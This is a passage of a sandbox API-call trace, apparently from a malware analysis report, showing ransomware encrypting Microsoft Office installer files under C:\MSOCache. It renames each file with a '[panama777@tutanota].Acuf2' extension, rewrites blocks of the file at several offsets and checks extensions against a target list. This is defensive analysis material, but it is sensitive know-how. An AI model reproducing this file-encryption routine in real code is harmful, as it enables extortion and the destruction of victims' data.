	[0041.326] WriteFile (in: hFile=0x170, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0041.328] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0041.328] WriteFile (in: hFile=0x170, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0041.333] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0041.333] WriteFile (in: hFile=0x170, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0041.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ee37c0 | out: hHeap=0x4f0000) returned 1
	[0041.335] CloseHandle (hObject=0x170) returned 1
	[0041.816] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0041.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.816] lstrlenW (lpString=".doc") returned 4
	[0041.816] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0041.816] lstrlenW (lpString=".docx") returned 5
	[0041.816] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0041.816] lstrlenW (lpString=".pdf") returned 4
	[0041.816] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0041.816] lstrlenW (lpString=".xls") returned 4
	[0041.816] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0041.816] lstrlenW (lpString=".xlsx") returned 5
	[0041.816] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0041.816] lstrlenW (lpString=".ppt") returned 4
	[0041.816] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0041.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.816] lstrlenW (lpString=".zip") returned 4
	[0041.816] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0041.816] lstrlenW (lpString=".rar") returned 4
	[0041.816] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0041.816] lstrlenW (lpString=".bz2") returned 4
	[0041.816] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0041.817] lstrlenW (lpString=".7z") returned 3
	[0041.817] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0041.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.817] lstrlenW (lpString=".dbf") returned 4
	[0041.817] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0041.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.817] lstrlenW (lpString=".1cd") returned 4
	[0041.817] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0041.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.817] lstrlenW (lpString=".jpg") returned 4
	[0041.817] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0041.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.817] lstrlenW (lpString=".doc") returned 4
	[0041.817] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0041.817] lstrlenW (lpString=".docx") returned 5
	[0041.817] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0041.817] lstrlenW (lpString=".pdf") returned 4
	[0041.817] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0041.817] lstrlenW (lpString=".xls") returned 4
	[0041.817] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0041.817] lstrlenW (lpString=".xlsx") returned 5
	[0041.817] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0041.817] lstrlenW (lpString=".ppt") returned 4
	[0041.817] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0041.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.817] lstrlenW (lpString=".zip") returned 4
	[0041.817] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0041.817] lstrlenW (lpString=".rar") returned 4
	[0041.817] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0041.817] lstrlenW (lpString=".bz2") returned 4
	[0041.818] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0041.818] lstrlenW (lpString=".7z") returned 3
	[0041.818] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0041.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.818] lstrlenW (lpString=".dbf") returned 4
	[0041.818] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0041.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.818] lstrlenW (lpString=".1cd") returned 4
	[0041.818] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0041.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0041.818] lstrlenW (lpString=".jpg") returned 4
	[0041.818] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0041.818] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0041.818] lstrlenW (lpString="WordMUI.msi") returned 11
	[0041.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0041.818] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=2522624) returned 1
	[0041.818] CloseHandle (hObject=0x170) returned 1
	[0041.819] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020
	[0041.819] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.819] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0041.819] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0041.819] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0041.819] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.819] ReadFile (in: hFile=0x170, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.827] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.827] ReadFile (in: hFile=0x170, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.836] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0041.836] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.836] ReadFile (in: hFile=0x170, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.851] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0041.851] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0042.204] SetEndOfFile (hFile=0x170) returned 1
	[0042.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f037d0
	[0042.208] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0042.208] WriteFile (in: hFile=0x170, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0042.210] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0042.210] WriteFile (in: hFile=0x170, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0042.216] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0042.216] WriteFile (in: hFile=0x170, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0042.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f037d0 | out: hHeap=0x4f0000) returned 1
	[0042.219] CloseHandle (hObject=0x170) returned 1
	[0042.680] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0042.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.681] lstrlenW (lpString=".doc") returned 4
	[0042.681] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0042.681] lstrlenW (lpString=".docx") returned 5
	[0042.681] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0042.681] lstrlenW (lpString=".pdf") returned 4
	[0042.681] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0042.681] lstrlenW (lpString=".xls") returned 4
	[0042.681] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0042.681] lstrlenW (lpString=".xlsx") returned 5
	[0042.681] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0042.681] lstrlenW (lpString=".ppt") returned 4
	[0042.681] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0042.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.681] lstrlenW (lpString=".zip") returned 4
	[0042.681] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0042.681] lstrlenW (lpString=".rar") returned 4
	[0042.681] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0042.681] lstrlenW (lpString=".bz2") returned 4
	[0042.681] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0042.681] lstrlenW (lpString=".7z") returned 3
	[0042.681] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0042.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.681] lstrlenW (lpString=".dbf") returned 4
	[0042.681] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0042.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.682] lstrlenW (lpString=".1cd") returned 4
	[0042.682] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.682] lstrlenW (lpString=".jpg") returned 4
	[0042.682] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.682] lstrlenW (lpString=".doc") returned 4
	[0042.682] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0042.682] lstrlenW (lpString=".docx") returned 5
	[0042.682] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0042.682] lstrlenW (lpString=".pdf") returned 4
	[0042.682] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0042.682] lstrlenW (lpString=".xls") returned 4
	[0042.682] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0042.682] lstrlenW (lpString=".xlsx") returned 5
	[0042.682] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0042.682] lstrlenW (lpString=".ppt") returned 4
	[0042.682] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.682] lstrlenW (lpString=".zip") returned 4
	[0042.682] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0042.682] lstrlenW (lpString=".rar") returned 4
	[0042.682] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0042.682] lstrlenW (lpString=".bz2") returned 4
	[0042.682] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0042.682] lstrlenW (lpString=".7z") returned 3
	[0042.682] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.682] lstrlenW (lpString=".dbf") returned 4
	[0042.683] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.683] lstrlenW (lpString=".1cd") returned 4
	[0042.683] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0042.683] lstrlenW (lpString=".jpg") returned 4
	[0042.683] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0042.683] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0042.683] lstrlenW (lpString="Proof.msi") returned 9
	[0042.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0043.008] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=875520) returned 1
	[0043.008] CloseHandle (hObject=0x1bc) returned 1
	[0043.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020
	[0043.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0043.009] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.009] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0043.009] GetLastError () returned 0x0
	[0043.009] ReadFile (in: hFile=0x1bc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xd5c00, lpOverlapped=0x0) returned 1
	[0043.038] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xd5c10, lpOverlapped=0x0) returned 1
	[0043.068] ReadFile (in: hFile=0x1bc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0043.068] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0043.068] SetEndOfFile (hFile=0x170) returned 1
	[0043.069] CloseHandle (hObject=0x170) returned 1
	[0043.405] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.405] SetEndOfFile (hFile=0x1bc) returned 1
	[0043.413] CloseHandle (hObject=0x1bc) returned 1
	[0043.413] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0043.413] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1
	[0043.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.414] lstrlenW (lpString=".doc") returned 4
	[0043.414] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0043.414] lstrlenW (lpString=".docx") returned 5
	[0043.414] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0043.414] lstrlenW (lpString=".pdf") returned 4
	[0043.414] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0043.414] lstrlenW (lpString=".xls") returned 4
	[0043.414] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0043.414] lstrlenW (lpString=".xlsx") returned 5
	[0043.414] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0043.414] lstrlenW (lpString=".ppt") returned 4
	[0043.414] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0043.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.414] lstrlenW (lpString=".zip") returned 4
	[0043.414] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0043.414] lstrlenW (lpString=".rar") returned 4
	[0043.414] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0043.414] lstrlenW (lpString=".bz2") returned 4
	[0043.414] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0043.414] lstrlenW (lpString=".7z") returned 3
	[0043.414] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0043.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.414] lstrlenW (lpString=".dbf") returned 4
	[0043.415] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.415] lstrlenW (lpString=".1cd") returned 4
	[0043.415] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.415] lstrlenW (lpString=".jpg") returned 4
	[0043.415] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.415] lstrlenW (lpString=".doc") returned 4
	[0043.415] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0043.415] lstrlenW (lpString=".docx") returned 5
	[0043.415] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0043.415] lstrlenW (lpString=".pdf") returned 4
	[0043.415] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0043.415] lstrlenW (lpString=".xls") returned 4
	[0043.415] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0043.415] lstrlenW (lpString=".xlsx") returned 5
	[0043.415] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0043.415] lstrlenW (lpString=".ppt") returned 4
	[0043.415] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.415] lstrlenW (lpString=".zip") returned 4
	[0043.415] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0043.415] lstrlenW (lpString=".rar") returned 4
	[0043.415] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0043.415] lstrlenW (lpString=".bz2") returned 4
	[0043.415] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0043.415] lstrlenW (lpString=".7z") returned 3
	[0043.415] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.416] lstrlenW (lpString=".dbf") returned 4
	[0043.416] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0043.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.416] lstrlenW (lpString=".1cd") returned 4
	[0043.416] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0043.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0043.416] lstrlenW (lpString=".jpg") returned 4
	[0043.416] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0043.416] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
